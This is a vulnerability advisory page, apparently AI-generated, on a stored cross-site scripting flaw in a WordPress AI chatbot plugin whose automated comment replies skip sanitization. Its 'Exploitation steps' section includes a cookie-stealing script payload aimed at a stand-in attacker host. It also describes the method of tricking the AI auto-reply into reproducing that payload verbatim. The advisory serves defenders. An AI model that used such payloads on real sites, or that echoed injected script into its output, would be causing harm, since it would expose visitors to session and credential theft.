New from Wiz Research: Critical NGINX flaw. Understand the risk and impact.
Vulnerability DatabaseCVE-2026-130121

CVE-2026-130121: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-130121 is a Stored Cross-Site Scripting (XSS) vulnerability in the "AI Puffer – MCP Server for Claude & ChatGPT, with AI Chatbot" WordPress plugin by senols, affecting all versions up to and including 2.5.28. The flaw allows unauthenticated attackers to inject arbitrary web scripts via AI-generated comment replies that bypass WordPress's standard content filtering. It was published on November 18, 2026, with a patch available via changeset 3807151. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory, Wordfence).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in the insert_comment_reply_logic() function within comment-reply-worker.php. This function saves AI-generated comment replies using wp_insert_comment() directly, bypassing the kses filtering that WordPress normally applies to sanitize comment content. An attacker crafts a comment containing an HTML/JavaScript payload designed to be reproduced verbatim by the AI model in its automated reply; because the reply is stored without sanitization, the script is persisted in the database and executes in any visitor's browser upon page load. Exploitation requires the administrator to have enabled a Comment Auto-Reply automation task with the "Action on reply" setting configured to "Approve" (non-default), and the attacker's original comment must have been approved (GitHub Advisory, Wordfence).

Impact

Successful exploitation allows an unauthenticated attacker to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of all users who visit the affected page. This can lead to session hijacking, credential theft, defacement, redirection to malicious sites, or further attacks against authenticated users including administrators. The scope is changed (S:C in CVSS), meaning the injected scripts can affect resources beyond the vulnerable component itself, though availability is not directly impacted (GitHub Advisory, Wordfence).

Exploitability

There is no known public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure. The EPSS score is 0.0, indicating a currently low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is conditional on a non-default administrator configuration ("Action on reply" set to "Approve"), which limits the attack surface (GitHub Advisory, Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the "AI Puffer – MCP Server for Claude & ChatGPT, with AI Chatbot" plugin (version ≤ 2.5.28) with public comment sections enabled. Tools like WPScan or Google dorking can assist in identifying the plugin.
  2. Verify configuration: Confirm that the target site has the Comment Auto-Reply automation task configured with "Action on reply" set to "Approve" (observable by submitting a benign comment and checking if an AI reply is automatically published).
  3. Craft malicious comment: Submit a comment containing an HTML/JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) worded in a way that prompts the AI model to reproduce the payload in its reply (e.g., embedding the payload within quoted text or as part of a question).
  4. Wait for AI auto-reply: The plugin's automation processes the comment, the AI model generates a reply reproducing the payload, and insert_comment_reply_logic() saves it via wp_insert_comment() without kses sanitization.
  5. Trigger execution: Any user (including administrators) who visits the page containing the injected AI reply will have the malicious script execute in their browser, enabling session theft, credential harvesting, or further attacks (GitHub Advisory, Wordfence).

Indicators of compromise

  • Logs: WordPress comment logs showing AI-generated replies containing <script>, javascript:, onerror=, onload=, or other event handler attributes; unexpected outbound HTTP requests from visitor browsers to unknown external domains logged in web server access logs.
  • Database: WordPress wp_comments table entries where comment_author corresponds to the AI plugin's reply account and comment_content contains unsanitized HTML tags or JavaScript.
  • Network: Outbound connections from site visitors to attacker-controlled domains shortly after loading pages with AI-generated comment replies; unusual POST requests to comment endpoints with payloads containing HTML tags.
  • File System: Review comment-reply-worker.php for the absence of output sanitization (e.g., missing wp_kses() or esc_html() calls) around the wp_insert_comment() invocation (GitHub Advisory).

Mitigation and workarounds

Update the AI Puffer plugin to a version beyond 2.5.28, which includes the fix introduced in changeset 3807151. As an immediate workaround, administrators should navigate to the Comment Auto-Reply automation task settings and change "Action on reply" from "Approve" to "Hold for moderation" (the default), preventing automatic publication of AI-generated replies without manual review. Additionally, review existing AI-generated comment replies for any suspicious HTML or script content and delete or sanitize them as needed (GitHub Advisory, Wordfence).

Community reactions

The vulnerability was reported and disclosed by Wordfence, which assigned it a High severity rating. No notable independent researcher commentary, social media discussion, or broader media coverage has been identified at the time of this report, consistent with the low EPSS score and absence of public exploit code (Wordfence).

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-123343MEDIUM6.5
  • blockart-blocks
NoYesNov 18, 2026
CVE-2026-125058MEDIUM6.4
  • image-source-control-isc
NoYesNov 18, 2026
CVE-2026-125012MEDIUM6.4
  • nazy-load
NoYesNov 18, 2026
CVE-2026-1214MEDIUM5.3
  • buddypress
NoYesNov 18, 2026
CVE-2026-120672MEDIUM4.9
  • meow-gallery
NoYesNov 18, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management